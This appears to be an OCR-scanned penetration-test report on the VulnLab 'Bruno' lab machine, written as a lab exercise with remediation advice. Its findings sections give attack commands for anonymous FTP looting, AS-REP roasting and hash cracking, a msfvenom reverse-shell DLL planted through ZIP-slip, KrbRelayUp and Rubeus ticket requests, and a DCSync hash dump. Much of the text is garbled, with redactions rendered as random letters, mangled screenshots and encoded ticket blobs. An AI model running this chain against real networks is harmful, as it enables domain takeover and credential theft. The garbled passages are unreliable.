p23281+1a7xZELU000POZRGV+bfKn/wUSdb+LgYgZ1jB695F22FZ65ekCIL+3ywV/uBuqZAa/KWOTo1EGZ CAMKYBNVOOHF J0aBmj F309KPyHOeSZwFqoGHbBCzZ j4vBAaoguq tkntBzN50d8a1g jnDPAePUg04dU/ 89A61wgz/ qW/bOC30fySUOQKIXWSIDDERL pPMX2C jc9B55WBXRLAGIECKHKCNQek
PitXKVa4 j+/97GX0u9xpvILa3QrR7Mg31sWiqfPF/NbywFQGtpAl+NTe32qy0cd6G/4CFeGolnUpVdgV+PObFhRos3kPCXptS faB6E/PgpQZZuDPSUYME+GLoDYORIVUMXSbbPum9BsTu/Fn/AgDy6Lg6ROGAWXKCZ7X8T++0EHZY TOMLK ) FOSHSNHP3V/ANXu9VPUh/AHXFQoao/Xq fgrPoAxz8a9zu
PEZKUYLA1VNZYvpz/8DLiBHMSD7K/t/HexsFeAErZk+gbVSPEwmj1bjoGICNHL fbWEqrve f 109 TkWxmjgdowgdegAwIBAKKBZwSBZH2BY TCBXGCBWZCBUDCBVAATMCMEAWIBEQE1BCDS+Y6F jQFHZdq18dW162ag0gBs@ILRYuUYEQ/WKU j FWa16EKGWhCULVOTYSWTKIVMBOEAWIBAAEMMAGDCGIydWSVZ
MkowcDBQBA4QAAPREYDZ LwM jMxMj EOMDKXNZ E2WGYRGABYMDIZMT I KNDESMTCXNLGNEREPM  AyMZEYM ] EWOTEIMT ZaqAobCEJSVUSPL1ZMGROWGEADAZECORQUEN sGa3)idGd0GwhicnVuby52bA==

( )-[~/Vulnlab/Bruno
‘ t ./bruno_ticket bruno_ticket.kirbi

)-[~/vulnlab/Bruno
( ticketCol bruno_ticket.kirbi bruno_ticket.ccache
impacket v0.10.1.dev1+20230216.13520.d4c06e7f - Copyright 2022 Fortra

*] converting kirbi to ccache...
+] done

bruno.ticket.ccache

DCSync Attack via Impacket

Using the delegated rights, a DCSync attack dumped all domain hashes:
sudo impacket-secretsdump -no-pass @brunodc.bruno.vl

a '‘@brunodc.bruno.
e - opyright Fortr

[-]1 Policy S name validat
[*] Dumping Domain edentials (
DRSUAPI method to

bruno.
bruno.
bruno.
bruno.
bruno.
bruno.y
bruno .
bruno.
bruno.

Root Access
With the Administrator hash, a session was established to retrieve the root flag:

undefined method “quoting_detection_proc' for module Reline

3. Findings

3.1 Vulnerability: Anonymous FTP Access with Sensitive
Application Files Exposed

CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5 (High)
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Base Score 7.5
(High)

Attack Vector (AV) Scope (s)

adjacent (&) | Local )| [Physical (7) Changed ()

Attack Complexity (AC) Confidentiality (C)

Low () [RESTEGRCH] None (N)| | Low (L)

Privileges Required (PR) Integrity (1)

User Interaction (UI) Availability (A)

Required (R) Low (1) [ High (H)

Description: The FTP service on port 21 allowed anonymous authentication,
exposing internal application binaries and configuration files in the root directory. This

included the full .NET Core application (FELIYEIIEIGRNE], BRI [Nl

and supporting files used by a malware scanning service.

Impact: Attackers could download and statically analyze the application to identify
internal logic, hardcoded paths, DLL loading behavior, and potential users. This enabled
targeted exploitation via DLL hijacking and path traversal, leading to initial code
execution.

Technical Summary: Anonymous login was confirmed via and manual testing.
Files were recursively downloaded using:

wget -m --no-parent ftp://10.129.238.9

Key files included:

SampleScanner.exe (174536 bytes)
SampleScanner.dll (7154 bytes)
changelog (revealed svc scan account)

Static analysis with on EEWAENELIIgNIRY revealed:

NETCoreApp,Version=v3.1

C:\Users\xct\source\repos\SampleScanner\...

The (BN explicitly referenced the service account (SRTaag. enabling AS-REP
roasting.

3.2 Vulnerability: AS-REP Roasting on Pre-Authentication
Disabled Accounts

CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5 (High)
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Base Score 7 5

.
(High)
Attack Vector (AV) Scope (S)
NENERIMN | Adjacent (A) | | Local (L) | | Physical (P) Changed (C)
Attack Complexity (AC) Confidentiality (C)
High (H) None (N) | | Low (L)
Privileges Required (PR) Integrity (1)
Low (L) | | High (H) Low (L) | | High (H)
User Interaction (U1) Availability (a)
Required (R) Low (L) | | High (H)

Description: Multiple domain accounts (SRS were configured with "Do
not require Kerberos preauthentication”, allowing offline retrieval of AS-REP
responses containing crackable Kerberos hashes.

Impact: Attackers could extract and crack NTLM hashes without prior credentials,

gaining valid domain user access (N RIICIaunay. B Inueaay) for lateral
movement and Active Directory enumeration.

Technical Summary: Using BlusEIdCIRt eI\ [XVTgY:

sudo impacket-GetNPUsers BRUNO.VL/svc scan -no-pass -dc-ip

.238.9

The hash was cracked with (B JS9:

hashcat svc_scan.hash /usr/share/wordlists/rockyou.txt

Result:

The same process was repeated for (SiSRISS-

3.3 Vulnerability: Writable SMB Share with Path Traversal
Upload Capability

CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N — 6.5 (Medium)

1
Attack Vector (AV) Scope (S)
Attack Complexity (AC) Confidentiality (C)
g Low ) (g
Privileges Required (PR) Integrity (1)
None (N) High (H) None (N) | | Low (L)
User Interaction (UI) Availability (a)
Required (R) Low (1) | | High (H)

Description: The SMB share was writable by authenticated users. Combined

with the BEIWIAYNEUII service processing ZIP archives from (SEANENESANIIENAY,

this allowed path traversal via ZIP slip to place files outside the intended directory.
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Impact: An attacker could upload a malicious P {a188 int0 [ERACELIAIAETIAY,

hijacking the .NET runtime loading process and achieving code execution as the service
account.

Technical Summary: A malicious DLL was crafted:

msfvenom windows/x64/shell reverse tcp

hostfxr.dll

It was embedded in a ZIP with path traversal:

hostfxr.dll - ..\app\hostfxr.dll

Uploaded via SMB:

kdz|

Archivo Editar Ver Favoritos Herramientas Ayuda

L ] - 7 w -» % i
Agregar Extraer Probar Copiar Mover Borrar Informacion
53 D:\Brum\ap ~
Nombre Tamafio Tamafio co.. Modificado  Creado Accedido Atributos Cifrado Comentario CRC Método Caracteristi.. SO anfitrion ~ Version
hostfxr.dll 9216 1766 2025-10-28.. A - A685236C Deflate NTFS FAT 20

0/ 1 objeto(s) seleccionado(s)

Upon service execution, a reverse shell was received as (GRSRIa-

3.4 Vulnerability: Insecure DLL Loading in .NET Core
Application (DLL Hijacking)

CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UL:N/S:U/C:H/I:H/A:H — 7.8 (High)

Base Score 7'8
(High)
Attack Vector (AV) Scope (S)
Network (N) | | Adjacent (A) Physical (P) Changed (C)
Attack Complexity (AC) Confidentiality ()
High (H) None (N) | | Low (L)
Privileges Required (PR) Integrity (1)
None (N) High (H) None (N) | | Low (L)
User Interaction (UI) Availability (A)

Required (R) None (N) | | Low (L) | EEl:O¥(R)]
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Description: The application dynamically loaded (s iaill

from (SEAENIEREI]AY, a writable directory. Procmon confirmed the DLL was missing
and searched in user-controlled paths before system directories.

Impact: Combined with writable share access and ZIP processing, this allowed DLL
hijacking to execute arbitrary code in the context of the scanning service (running as

svc_scan |}

Technical Summary:
Procmon filters identified missing {4 daN-1ut

Process Monitor - Sysinternals: www.sysinternals.com
File Edit Event Filter Tools Options Help

CIVYFO & £QAN R

Time o... | Process Name PID | Operation ! Detail
mp
NAWE NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
: NAME NOT FOUND
Nk NAME NOT FOUND
0Os ( s ] soft DiaSymR NAME NOT FOUND
ader Native amdg# dil NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND

¥ Sampl ) a : rosoft NETCore Appl3.1
¥ SampleScanne \
5.. [l SampleScanne, ficrosoft NETCore App!
r0soft NETCore App!
icrosoft NETCore. App!
\Microsoft NETCore. App
ymReader Native amd64 dll
ft DiaSymReader Native amd64.dll
ymReader Native amd64 dIl
e amd64 dil
ft DiaSymReader.Native.amd64.dil
Reader Native amd64.dll

1
1
1
1

mpleScanne
mpleScanne

Disposition
Disposition

¥ SampleScanne
. ElSampleScanne - a D:\Bruns

. ESampleScanne. C:\Program Files\dotnetiMicr
i SampleScanne o) CreateFile C\Users\User\AppData\L ocal\MicrosoftWindow:
EiSampleS i RegOpenk urrentControlSef\Control

[o¥-NoN-NoNoNoNoNoNoNoNoNoNoRoNoNoRoNea) -]

\Microsoft NETCore App!
Nicrosoft NETCore.App'

rosoft NETCore App!

rosoft NETCore App!

D:\Bruno\app\Microsoft DiaSymReader. Native.amd64.dll

. [SampleScanne
EiSampleScanne
¥ SampleScanne

20:40:50... A SampleScanne

[oNoNoNoNoNoNoRoNo)

. Disposition:

Showing 105 of 3 Backed by virtual memory

dnSpy decompilation revealed:

AppContext.SetData
@"C:\samples\queue\"

Confirming dynamic assembly loading from and [ directories.

Malicious (FYAESacIlY placed via path traversal - RCE as (BiI5a0-

3.5 Vulnerability: Resource-Based Constrained Delegation
(RBCD) via Shadow Credentials

CVSS: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H — 8.0 (High)

Base Score 8 A 0

(High)
Attack Vector (AV) Scope (S)
Adjacent (4) | | Local (L) | | Physical (P) Unchanged (U)
Attack Complexity (AC) Confidentiality (C)
Low (L) None (N) | | Low (L) igh (H)
Privileges Required (PR) Integrity (1)

None (N) | | Low (L) | [EEQRG

User Interaction (UI)

Required (R)

None (N)| | Low ()| |ETERG))

Availability (A)

None (N) | | Low (L) | EEIGE()]
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Description: The account had sufficient privileges to modify the

IRV AR YR O ILEAR A (L TS I S RaYA attribute on the domain controller

(CIREEEEY) using Shadow Credentials and certificate manipulation.

Impact: This enabled full delegation impersonation of any domain user (including
Administrator) when accessing resources on , allowing a DCSync attack to
extract all domain hashes.

Technical Summary:
(g LEIEVIY was used to exploit certificate templates and set RBCD:

\KrbRelayUp.exe full -m shadowcred -cls d99e6e73-fc88-11d0-b498-

00a0c90312f3 -p 1024

Generates a certificate for

Sets SRR CIVECR I YROLEELEIR R RIS ieRa% t0 allow delegation from

attacker-controlled account
Enables TGT request as

Rubeus retrieved the TGT:

\Rubeus .exe asktgt /user:brunodc$ /certificate:<base64>

password:dH9#el3=dW4# /enctype:AES256 /nowrap

3.6 Vulnerability: DCSync Rights via Delegated Machine
Account

CVSS: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N — 4.9 (Medium)

1
Attack Vector (AV) Scope (S)
Attack Complexity (AC) Confidentiality (C)
High (H) None (N) | | Low (L)
Privileges Required (PR) Integrity (1)
None (N) | | Low (L) Low (1) | | High (H)
User Interaction (U1) Availability (a)
m Required (R) Low (L) | | High (H)

Description: After establishing RBCD, the attacker impersonated the domain controller
CIEEEEY) and performed a DCSync attack to replicate domain secrets, including the
Administrator NTLM hash.

Impact: Full domain compromise — extraction of all user and machine hashes, enabling
EEES. pass-the-hash, and persistent access.

Technical Summary:

The ticket was converted to ([flSIa0S:
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5 cat ./bruno_ticket
01GWjCCBlagAWIBBaEDAEWo0IFazCCBUdhggV JMIIFXGADAZE FoQobCEISVUSPLL ZMohwG6ADAZECORQWENSGa3 JidGd@GuhicnVuby52bKOCBS swggUn oAMCARKhAWLBAGKCBRKEEEUVoqu ARy 3Y ji FulaHD2Y tnWLUXq YDDWKOPXXr30U/zYg 1UE@S6GGTC LraEn41SAvinc tZrsV2cFopQab/Y
bnHulitedh pyBCAtuGKRT+LugGIpYQ+wg0Zd8I1I¥10+9LUt+QI0gVorSTirADLZwONOIntpeSFIxU3b fwBPO+57HG2 1AL 1FTFdXaGNYePy3eqf BD54AtPREVXNIIFejbt07S4Se0dvBIV7+X001 je0QeNd72gnt rGLmPPStPoZU3yp7L w1 tPCRBANK3VOHD] thdxiaNoFOE INFESSHINVS 4aZX0DAN0ZTIC
w03t YZocquk7XOSF fMrEdtsPIRgwhxZWT oAy ZoWzZI2Hji+1A20X+9ORMSR4pCBFm2k1910K5SBSfB3eEISHTPFmHpKeKhRC +LK3 /€51 KTGUTOXS5 fbsSHSOWQFXy6Lubcrbb91inwnhaf2XgAyOMOL qex0NGAD JVkQBZx4oUmeEme hR4HH JGPNAFVS3WzSWEmXRow/AHNTEe/6Y069RF6/A3jnj Jd9U
fUsvA2rAqcrgpbIWBBq7G7pk FFiveK28bNNe+nwh jrsaE43dxPEFzen3NOUtNTolel egmUByNYTP22qKOOGE jQioVpe92Dv/Pso76 tNPmn/zHUmTKQB1FoAd Yimt dx20YSNvkj1+2IKvDL70Y3pUjZXmy708nbNa6KrvbSgFKWQ86PLTZq30P5 j IMs LVXNSeT9 jEkPo/Dh9sUPzPaoS6UqLURN7LFFN+T
b101/4FV2dU3vF hoHmfROCHWmM Jicq7qBRFOUAITER/hTCOZHUGPUXAZ F8NQ IVbF N7 s SQO0EBQL1YXCZ188TXKAqY91BoMVLNIACHOCZZDS+/ +L7+GCLQON nux9259LnIcVGGFwHXNT3PGebmi 6Dke /00ZaNZ7 110prt262/aXkawUoHWFQY210nHmO7VLZ7 FWKADQQ 4CMLNMQHGTS 7+2Y £ /XAy
QLYbo3dBUZNY/RIQH3Qq2h fSCX7EVH/bNtahEE/eEDV/PLNTOKB2hWZ77nVd L1/ T 4+c6tYmXHNvWBHK rna76fqHL75Q/q/C1toKn FT6gBKhdFueKiWxgRIEZVMXXmQzuH1w1178IXVZ78AfdHs qrizd1f TpPZDOAGLMXKEKF ) 8hiaQMvyHqZ 1 +6ZOESWFKor omrOMTERHATZEIf 55aL W29 dN7Dm
p23281+3a7%2E1u000p0ZRGV+bFKn/wUSdb+LgYgZ11B695F22F 265ekCI1+3ywV/uBvqZAa/KWOTo1EG2 cdMKYBNVOOHF 10a B3 F309KPyHOe 5 2wFqoGHbBC 2 j4vBAa ogwq tKntBzNSOdBa1gj nDPAePUO4AU/BIABiwq2/q/bOTE30 fy sUoQKIXWSIBDERLpPHX2C 985 SWBXRLAETE cCKHKCNGek
PitXKVakj+/97GXOU9XpvILa3QrR7ME31sWiqfPf/NbywFQGtpAL+NTe32qy0cd6G/4CFeGo1nUpVdgV+PabfhRos3kPCXptSfaB6E/PgpQZZuDPsUVHE+GLoDYORTVUXSbbPU9BS Tu/ Fn/AEDY6LEGROGAWXKCZ 7XBT++0EHZY TOMLK ) FbSHSNHP3V/ANXU9VPU/AHXFQoa0/Xq fErPoAXzBagzu
BEZKUY1A1VNZYVpz/8DLiBHNSD7K/t/HexsFeAErZk+gbVSP6wnjlbj0GIcNHLfbWEqrve f1D9 Tkwxmjgd owgdegAwIBAKKBZWSBzH2By TCBXqCBWZCBUDCBVAATMCMgAWLBEE iBCDS+Y6F jQFHZAq18dW16ag0gBs0ILRYuYEQ/WkUj FWa 16 EKGwhCULVOTYSWTKIVMBOgAWIBAAEMMAODCGDY dWSVZ
kowcDBQBALQAAPREYDZ TwM jMxMJEOMDKxNZE2WqYRGABYMDI ZNT IXNDESMTCXNLGnEREPMAYMZE yM i EWOTE3MTZagAobCE JSVUSPL1 ZMGROWG6ADAZECORQWEhSGa3J1d6d0Guhi cnVuby52bA==

( )-[~/Vulnlab/Bruno
[ t ./bruno_ticket 6 bruno_ticket.kirbi

al
ticketCo bruno_ticket.kirbi bruno_ticket.ccache
impacket ve.10.1.dev1+20230216.13520.d4co6e7f - Copyright 2022 Fortra

*] converting kirbi to ccache...
+] done

bruno.ticket.ccache

DCSync executed:

sudo impacket-secretsdump -no-pass @brunodc.bruno.vl

Administrator hash extracted and used via to obtain the root flag:

Warning: Remote path completions is disabled due to ruby limitation: undefined method “quoting_detection_proc' for module Reline

rs\Administrator\Documents> cd c:\users\administrator

4. Recommendations

To remediate and mitigate the vulnerabilities identified during the exploitation of the Bruno
machine on VulnLab—including anonymous FTP exposure, AS-REP roasting, DLL hijacking
via path traversal, and privilege escalation through Resource-Based Constrained Delegation
(RBCD) and Shadow Credentials—the following recommendations should be implemented
to enhance the security posture of similar Windows Active Directory environments:

1. Disable Anonymous FTP and Restrict File Exposure

Remove Anonymous Access: Immediately disable anonymous login on the FTP
service (Ui Jaamaslell). Require authenticated access with least-privilege accounts.
Sanitize Publicly Accessible Directories: Audit and remove sensitive binaries

NSRS 18 @D from FTP root and any world-readable shares.

Store operational files in non-public, restricted directories.
Implement File Integrity Monitoring: Deploy File Integrity Monitoring (FIM) to detect
unauthorized uploads or modifications in directories like [SANELIAERCIIIEAY and

C:\samples\app\ }
2. Harden Kerberos Pre-Authentication and Account Security

Enforce Kerberos Pre-Authentication: Set the PIVIENSVEENTVIGE flag to [FARI for
all user and service accounts (e.g., (RIS BT Via Active Directory Users and
Computers or PowerShell:
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Set-ADUser -Identity KerberosEncryptionType None

DoesNotRequirePreAuth

Audit AS-REP Roastable Accounts: Use tools like [ DT 3RS <=3

U Yo T IR e R N Yo Lo I MKV R[SV 8 tO identify and remediate accounts without

pre-authentication.

Enforce Strong, Unique Passwords: Implement password complexity, minimum length
(14+ characters), and rotation policies. Avoid common words like “Sunshinel”.

3. Secure .NET Application Runtime and DLL Loading

Fix Hardcoded and Predictable Paths: Modify EELJEMERUEI to avoid loading DLLS
from user-writable directories (TN CIEMY). Use secure, system-

protected paths or AppDomain isolation.

Enable .NET Strong Naming and Code Signhing: Sign all assemblies and enforce
strong-name validation. Configure the runtime to reject unsigned or untrusted DLLSs.

Patch DLL Search Order Hijacking: Ensure the application uses i8N ladIa"a Or
LGLDIRDERY YA IaYA t0 enforce safe DLL loading paths, preventing search in current
working directory.

Validate ZIP Archive Processing: Implement ZIP slip mitigation by normalizing and
validating extracted paths. Reject any path containing ’ or absolute roots.

4. Restrict SMB Share Permissions and Upload Capabilities

Apply Least Privilege to SMB Shares: Restrict write access on shares like [[IEIE) to

only required service accounts. Remove @ Authenticated Users NVIIE

permissions.

Block Path Traversal in File Processing: Validate all uploaded filenames and internal
ZIP paths server-side. Use allowlists and canonicalization to prevent traversal

{ . .\app\hostfxr.dll)}

Log and Monitor SMB Activity: Enable object access auditing on sensitive shares and
integrate with a SIEM to detect anomalous uploads or file creations.

5. Mitigate Resource-Based Constrained Delegation (RBCD)
and Shadow Credentials Abuse

Restrict Certificate Template Permissions: Audit and limit {Silge ]S Es kY ON

certificate templates (especially those with [EEEYVEER Ao EuN OB ViR E I LN PAK]) .

Remove permissions from low-privilege accounts.

Disable Unnecessary Certificate Templates: Disable or delete vulnerable templates
used for Shadow Credentials unless required for legitimate PKI operations.

Limit (AR YA R YA SN EAR DR Y e X TR $ R 47 Modifications: Restrict who can

write to this attribute on high-value objects (e.g., domain controllers). Use
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AdminSDHolder protection and delegate control carefully.

Monitor Certificate Enrollment and TGT Requests: Enable logging for certificate
requests and Kerberos TGT issuance. Alert on TGTs requested with certificates for
machine accounts.

6. Prevent DCSync and Hash Dumping Attacks

Restrict DCSync Rights: Remove DEEGEIASICI ST CI RIS ELLY, DEECIREL ST B
Get-Changes-All BEllell DS-Replication-Get-Changes-In-Filtered-Set Jigelutlglelsl

administrative accounts and groups.
Use Protected Users Group: Add high-value accounts (e.g., service accounts) to the
Protected Users group to prevent credential delegation and certain attacks.

Enable Credential Guard and LAPS: Deploy Windows Defender Credential Guard
and Local Administrator Password Solution (LAPS) to protect credentials in memory
and manage local admin passwords.

7. Improve Logging, Monitoring, and Incident Response

Enable Enhanced Auditing: Turn on PowerShell Script Block Logging, Kerberos
Auditing, and Process Creation with Command Line (Event ID 4688) to track

malicious tool execution (IR, (RTLaGruy e -

Centralize Logs with SIEM: Forward Windows Event Logs, SMB, FTP, and AD changes
to a SIEM for correlation and real-time alerting on privilege escalation indicators.
Define Incident Response Playbooks: Create playbooks for:

AS-REP roasting detection

DLL hijacking via writable shares

RBCD and Shadow Credentials exploitation

DCSync attempts

8. General Hardening Best Practices

Apply Security Patches: Ensure the domain controller and all systems are fully
patched, especially against known Kerberos and certificate authentication vulnerabilities.

Segment Service Accounts: Isolate service accounts (iSRS in
dedicated OUs with restricted permissions and monitored activity.

Regular Penetration Testing and Red Teaming: Schedule periodic AD security
assessments to identify misconfigurations like pre-auth disabled accounts or excessive
delegation rights.

By implementing these layered recommendations—focused on authentication hardening,
file and path security, Kerberos and PKI controls, privilege containment, and
procedural monitoring—the environment will significantly reduce its exposure to initial
access, lateral movement, privilege escalation, and full domain compromise.
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5. Conclusions

Executive Summary

Think of your organization’s digital world as a large corporate headquarters—a building full
of offices, file cabinets, server rooms, and security doors. Every employee has a badge, and
only certain badges open certain doors. During our test on the Bruno machine, we played
the role of an outsider trying to break in using nothing more than curiosity and publicly
available tools. And we succeeded—step by step—until we were standing in the CEQO'’s
office with full control.

Here’s what happened, in plain language:

A filing cabinet left unlocked in the lobby:

The company’s internal file transfer system (FTP) was set to allow anyone to walk in and
take copies of important software and documents. One of those documents casually
mentioned a special employee account —Iike leaving a master key label
taped inside the drawer.

Old keys that still work:

Some employee accounts were set up in a way that let us request a login ticket
without proving who we were first. It's like walking up to the front desk, saying “I'm
svc_scan,” and being handed a working badge—no ID check required. We took that
badge, guessed the PIN using common words, and walked right in.

A back door in the mailroom:

There was a shared folder where employees drop files to be scanned for viruses. We
discovered we could slip a fake file into a package (using a trick with ZIP files) that
ended up in a place where the scanner would automatically run it. That fake file? A secret
message telling the scanner to open a direct phone line back to us. It did. Now we'’re
inside the building.

Pretending to be the building itself:

Once inside, we used a little-known feature in the security system (called delegation) to
forge a badge that said “I am the entire building (brunodc$)”. With that badge, we
convinced the main security server to hand over every single key in the building—
including the CEO'’s.

Walking into the server room and taking everything:

With the master keys, we opened the vault containing every employee’s login secrets.
From there, we logged in as the Administrator and found the final proof of control: the
“root flag.”

This wasn’t about fancy hacking tools or zero-day exploits. It was about small oversights
adding up to total compromise.

Imagine a burglar who doesn’t pick locks—he just finds the side door left open, grabs a
uniform from the coat rack, copies a key from the bulletin board, and walks out with the safe
combination. That's what happened here.
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The scary part?
If this were a real company, an attacker could’ve done this quietly over weeks—stealing
data, planting ransomware, or locking out the real admins—before anyone noticed.

The good news?

Every door we opened can be locked. Every key we copied can be changed. Every oversight

can be fixed.

But it requires action now—because in cybersecurity, the thief doesn’t knock. They just

walk through the doors you forgot to secure.

Technical Summary
The following high-impact vulnerabilities were confirmed during our engagement:

Anonymous FTP Exposure of Sensitive Binaries and Account Hints

Issue: FTP port 21 allowed anonymous access, exposing @Sy application

binaries (FELIAEENERNEISRNEY, EELAENEIIIgNAE) and a EERIANIe] file

explicitly referencing the service account (SRIea.
Risk: Enabled targeted Kerberos attacks and reverse engineering of internal
application logic.

AS-REP Roasting Due to Disabled Kerberos Pre-Authentication

Issue: Accounts and had (NI NERZNIN) enabled,
allowing offline retrieval of BNgBEEREEIEY hashes via BlsEl G el d\ LI

Risk: Both hashes were cracked ((JELED) Using Ul rockyou. txt

granting valid domain user access.
Insecure DLL Loading Path in .NET Core Application

Issue: EENQAENERIEINNEY 0aded G4 ANl from [SRAELIIRETINY, a

predictable and attacker-writable path. Confirmed via Procmon (SIS IEIN))
and dnSpy decompilation showing dynamic assembly loading from and B9
directories.

Risk: Enabled DLL hijacking when combined with file upload mechanisms.

Path Traversal via ZIP Slip in SMB Writable Share

Issue: The SMB share accepted ZIP uploads processed by the scanner. No
path normalization allowed EEREIJAII4 (18] (0 escape the extraction directory.

Risk: Malicious (R ISEeaneily (crafted via (I REaua)) executed as the scanning
service (Y. Vielding initial code execution.

Resource-Based Constrained Delegation (RBCD) via Shadow Credentials

Issue: had rights to enroll in certificate templates and modify

AllowedToActOnBehalf0fOtherIdentity felg . (g LEIEWVI exploited

this to generate a certificate and enable delegation.

Risk: Allowed impersonation of the domain controller machine account.
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DCSync Attack via Delegated Machine Account
Issue: After RBCD setup, a TGT was obtained for using and the

forged certificate. BREILCIRET-ld g3 [Mlule] With Kerberos authentication ()

extracted all domain hashes, including Administrator.

Risk: Full domain compromise—lateral movement, persistence, and data exfiltration
possible.

These vulnerabilities form a complete compromise chain:

Anonymous FTP - AS-REP Roasting - Valid Credentials - BloodHound Enumeration
- DLL Hijacking (RCE) - RBCD (Delegation) - DCSync - Domain Admin

Mitigation requires defense in depth:

Disable anonymous services

Enforce Kerberos pre-auth

Secure file paths and input handling
Restrict certificate and delegation rights

Monitor for privilege escalation and hash dumping

Without these controls, even a minimally privileged foothold can lead to full Active
Directory domination.

Appendix: Tools Used

Nmap

Description: Network scanner used for initial port and service enumeration on the
target, identifying key services like FTP, SMB, and Kerberos.
impacket-GetNPUsers

Description: Tool to perform AS-REP roasting attacks, retrieving crackable Kerberos
hashes from accounts without pre-authentication.

hashcat

Description: Password cracking utility used to recover plaintext passwords from AS-
REP hashes using wordlists.

bloodhound-python

Description: Active Directory enumeration tool that maps domain relationships,
permissions, and privilege paths.

wget

Description: Command-line downloader used to recursively retrieve files from the
anonymous FTP server.

strings

Description: Utility to extract readable text from binaries, revealing runtime versions and
internal paths.

dnSpy

Description: .NET decompiler used to analyze EELAENELIIgNINE and identify

30/31


af://h2-40

Bruno Report
insecure DLL loading behavior.

Process Monitor (Procmon)

Description: Sysinternals tool for monitoring file and DLL access, confirming missing

(T3S qgIuN in writable paths.

msfvenom

Description: Payload generator used to create a malicious reverse shell DLL for
hijacking.

Netcat ({IJ)

Description: Listener utility to receive reverse shell connections from the compromised
host.

python3 -m http.server

Description: Simple web server to host tools and payloads for download from the target.
WIinPEAS

Description: Windows privilege escalation enumeration script to identify
misconfigurations and escalation vectors.

KrbRelayUp

Description: Exploitation tool for Shadow Credentials and Resource-Based Constrained
Delegation (RBCD) attacks.

Rubeus

Description: Kerberos manipulation tool used to request TGTs with attacker-controlled
certificates.

ticketConverter.py

Description: Script to convert Kerberos tickets from [[Eige8 to format for use
with Linux tools.

impacket-secretsdump

Description: Tool to perform DCSync attacks and extract all domain password hashes.
impacket-psexec

Description: Remote execution tool used with cracked hashes to gain administrative
shell access.

certutil

Description: Built-in Windows utility leveraged to download files from an attacker-
controlled server.

These tools enabled the full attack chain—from reconnaissance and credential access to
privilege escalation and domain dominance—in the Bruno environment.
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